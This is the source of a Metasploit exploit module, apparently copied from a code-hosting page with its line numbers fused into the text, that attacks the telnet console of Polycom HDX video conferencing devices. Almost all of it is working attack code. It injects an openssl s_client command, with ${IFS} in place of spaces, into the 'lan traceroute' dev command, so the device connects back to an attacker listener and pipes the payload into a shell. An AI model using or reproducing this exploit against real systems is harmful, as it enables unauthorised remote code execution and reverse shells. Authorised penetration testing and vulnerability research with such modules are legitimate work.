Path: blob/master/modules/exploits/unix/misc/polycom_hdx_traceroute_exec.rb
19500 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ExcellentRanking78include Msf::Exploit::Remote::Tcp910def initialize(info = {})11super(12update_info(13info,14'Name' => 'Polycom Shell HDX Series Traceroute Command Execution',15'Description' => %q{16Within Polycom command shell, a command execution flaw exists in17lan traceroute, one of the dev commands, which allows for an18attacker to execute arbitrary payloads with telnet or openssl.19},20'Author' => [21'Mumbai',22'staaldraad', # https://twitter.com/_staaldraad/23'Paul Haas <Paul [dot] Haas [at] Security-Assessment.com>', # took some of the code from polycom_hdx_auth_bypass24'h00die <[email protected]>' # stole the code, creds to them25],26'References' => [27['URL', 'https://staaldraad.github.io/2017/11/12/polycom-hdx-rce/']28],29'DisclosureDate' => '2017-11-12',30'License' => MSF_LICENSE,31'Platform' => 'unix',32'Arch' => ARCH_CMD,33'Stance' => Msf::Exploit::Stance::Aggressive,34'Targets' => [[ 'Automatic', {} ]],35'Payload' => {36'Space' => 8000,37'DisableNops' => true,38'Compat' => { 'PayloadType' => 'cmd', 'RequiredCmd' => 'telnet generic openssl' }39},40'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse' },41'DefaultTarget' => 0,42'Notes' => {43'Reliability' => UNKNOWN_RELIABILITY,44'Stability' => UNKNOWN_STABILITY,45'SideEffects' => UNKNOWN_SIDE_EFFECTS46}47)48)4950register_options(51[52Opt::RHOST(),53Opt::RPORT(23),54OptString.new('PASSWORD', [ false, "Password to access console interface if required."]),55OptAddress.new('CBHOST', [ false, "The listener address used for staging the final payload" ]),56OptPort.new('CBPORT', [ false, "The listener port used for staging the final payload" ])57]58)59end6061def check62connect63Rex.sleep(1)64res = sock.get_once65disconnect66if !res && !res.empty?67return Exploit::CheckCode::Unknown68elsif res =~ /Welcome to ViewStation/ || res =~ /Polycom/69return Exploit::CheckCode::Detected70end7172Exploit::CheckCode::Unknown73end7475def exploit76unless check == Exploit::CheckCode::Detected77fail_with(Failure::Unknown, "#{peer} - Failed to connect to target service")78end7980#81# Obtain banner information82#83sock = connect84Rex.sleep(2)85banner = sock.get_once86vprint_status("Received #{banner.length} bytes from service")87vprint_line("#{banner}")88if banner =~ /password/i89print_status("Authentication enabled on device, authenticating with target...")90if datastore['PASSWORD'].nil?91print_error("#{peer} - Please supply a password to authenticate with")92return93end94# couldnt find where to enable auth in web interface or telnet...but according to other module it exists..here in case.95sock.put("#{datastore['PASSWORD']}\n")96res = sock.get_once97if res =~ /Polycom/98print_good("#{peer} - Authenticated successfully with target.")99elsif res =~ /failed/100print_error("#{peer} - Invalid credentials for target.")101return102end103elsif banner =~ /Polycom/ # praise jesus104print_good("#{peer} - Device has no authentication, excellent!")105end106do_payload(sock)107end108109def do_payload(sock)110# Prefer CBHOST, but use LHOST, or autodetect the IP otherwise111cbhost = datastore['CBHOST'] || datastore['LHOST'] || Rex::Socket.source_address(datastore['RHOST'])112113# Start a listener114start_listener(true)115116# Figure out the port we picked117cbport = self.service.getsockname[2]118cmd = "devcmds\nlan traceroute `openssl${IFS}s_client${IFS}-quiet${IFS}-host${IFS}#{cbhost}${IFS}-port${IFS}#{cbport}|sh`\n"119sock.put(cmd)120if datastore['VERBOSE']121Rex.sleep(2)122resp = sock.get_once123vprint_status("Received #{resp.length} bytes in response")124vprint_line(resp)125end126127# Give time for our command to be queued and executed1281.upto(5) do129Rex.sleep(1)130break if session_created?131end132end133134def stage_final_payload(cli)135print_good("Sending payload of #{payload.encoded.length} bytes to #{cli.peerhost}:#{cli.peerport}...")136cli.put(payload.encoded + "\n")137end138139def start_listener(ssl = false)140comm = datastore['ListenerComm']141if comm == 'local'142comm = ::Rex::Socket::Comm::Local143else144comm = nil145end146147self.service = Rex::Socket::TcpServer.create(148'LocalPort' => datastore['CBPORT'],149'SSL' => ssl,150'SSLCert' => datastore['SSLCert'],151'Comm' => comm,152'Context' =>153{154'Msf' => framework,155'MsfExploit' => self156}157)158159self.service.on_client_connect_proc = proc { |client|160stage_final_payload(client)161}162163# Start the listening service164self.service.start165end166167# Shut down any running services168def cleanup169super170if self.service171print_status("Shutting down payload stager listener...")172begin173self.service.deref if self.service.is_a?(Rex::Service)174if self.service.is_a?(Rex::Socket)175self.service.close176self.service.stop177end178self.service = nil179rescue ::Exception180end181end182end183184# Accessor for our TCP payload stager185attr_accessor :service186end187188189